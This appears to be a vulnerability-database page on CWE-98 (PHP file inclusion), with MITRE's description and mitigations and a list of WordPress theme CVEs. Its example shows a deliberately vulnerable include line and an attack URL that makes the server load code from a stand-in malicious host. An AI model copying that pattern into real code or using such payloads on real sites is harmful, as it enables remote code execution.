Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1234

1234 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, AvailabilityExecute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and DesignUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and DesignWhen the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and DesignFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, OperationRun the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, OperationRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE IDTitleCVSSSeverityPublished
CVE-2025-69177 WordPress Roneous theme <= 2.1.5 - Local File Inclusion vulnerability — Roneous 8.1 High2026-06-16
CVE-2025-69176 WordPress ITactics theme <= 1.0 - Local File Inclusion vulnerability — ITactics 8.1 High2026-06-16
CVE-2025-69168 WordPress Spike theme <= 1.2 - Local File Inclusion vulnerability — Spike 8.1 High2026-06-16
CVE-2025-69167 WordPress Eros theme <= 1.3 - Local File Inclusion vulnerability — Eros 8.1 High2026-06-16
CVE-2025-69165 WordPress Choreo theme <= 1.6 - Local File Inclusion vulnerability — Choreo 8.1 High2026-06-16
CVE-2025-69163 WordPress WineShop theme <= 3.17 - Local File Inclusion vulnerability — WineShop 8.1 High2026-06-16
CVE-2025-69162 WordPress Grecko theme <= 5.17 - Local File Inclusion vulnerability — Grecko 8.1 High2026-06-16
CVE-2025-69159 WordPress Printo theme <= 1.11 - Local File Inclusion vulnerability — Printo 8.1 High2026-06-16
CVE-2025-69160 WordPress Gita theme <= 1.11 - Local File Inclusion vulnerability — Gita 8.1 High2026-06-16
CVE-2025-69149 WordPress Top Dog theme <= 1.0.5 - Local File Inclusion vulnerability — Top Dog 8.1 High2026-06-16
CVE-2025-69150 WordPress Medeus theme <= 1.14 - Local File Inclusion vulnerability — Medeus 8.1 High2026-06-16
CVE-2025-69147 WordPress Putter theme <= 1.17 - Local File Inclusion vulnerability — Putter 8.1 High2026-06-16
CVE-2025-69143 WordPress Mission theme <= 1.22 - Local File Inclusion vulnerability — Mission 8.1 High2026-06-16
CVE-2025-69146 WordPress Dom theme <= 1.24 - Local File Inclusion vulnerability — Dom 8.1 High2026-06-16
CVE-2025-69142 WordPress Abelle theme <= 1.22 - Local File Inclusion vulnerability — Abelle 8.1 High2026-06-16
CVE-2025-69141 WordPress Kelly Young theme <= 1.1.0 - Local File Inclusion vulnerability — Kelly Young 8.1 High2026-06-16
CVE-2025-69136 WordPress Wanium theme <= 1.9.8 - Local File Inclusion vulnerability — Wanium 8.1 High2026-06-16
CVE-2025-69125 WordPress Food Drop theme <= 1.3 - Local File Inclusion vulnerability — Food Drop 8.1 High2026-06-16
CVE-2025-69124 WordPress Especio theme <= 1.0 - Local File Inclusion vulnerability — Especio 8.1 High2026-06-16
CVE-2025-69121 WordPress Deliciosa theme <= 1.10.0 - Local File Inclusion vulnerability — Deliciosa 8.1 High2026-06-16
CVE-2025-69118 WordPress CopyPress theme <= 1.4.5 - Local File Inclusion vulnerability — CopyPress 8.1 High2026-06-16
CVE-2025-69119 WordPress Corbesier theme <= 1.15.0 - Local File Inclusion vulnerability — Corbesier 8.1 High2026-06-16
CVE-2025-69114 WordPress MaxiNet theme <= 1.2.10 - Local File Inclusion vulnerability — MaxiNet 8.1 High2026-06-16
CVE-2025-69116 WordPress Iona theme <= 1.0.8 - Local File Inclusion vulnerability — Iona 8.1 High2026-06-16
CVE-2025-69113 WordPress Nexio theme <= 1.10.0 - Local File Inclusion vulnerability — Nexio 8.1 High2026-06-16
CVE-2025-69109 WordPress Raider Spirit theme <= 1.1.2 - Local File Inclusion vulnerability — Raider Spirit 8.1 High2026-06-16
CVE-2025-69112 WordPress Planty theme <= 1.14.0 - Local File Inclusion vulnerability — Planty 8.1 High2026-06-16
CVE-2025-69105 WordPress Modernee theme <= 1.6.0 - Local File Inclusion vulnerability — Modernee 8.1 High2026-06-16
CVE-2025-69107 WordPress Rosaleen theme <= 2.8 - Local File Inclusion vulnerability — Rosaleen 8.1 High2026-06-16
CVE-2025-60085 WordPress Learnify theme <= 1.15.0 - Local File Inclusion vulnerability — Learnify 8.1 High2026-06-16

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1234 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.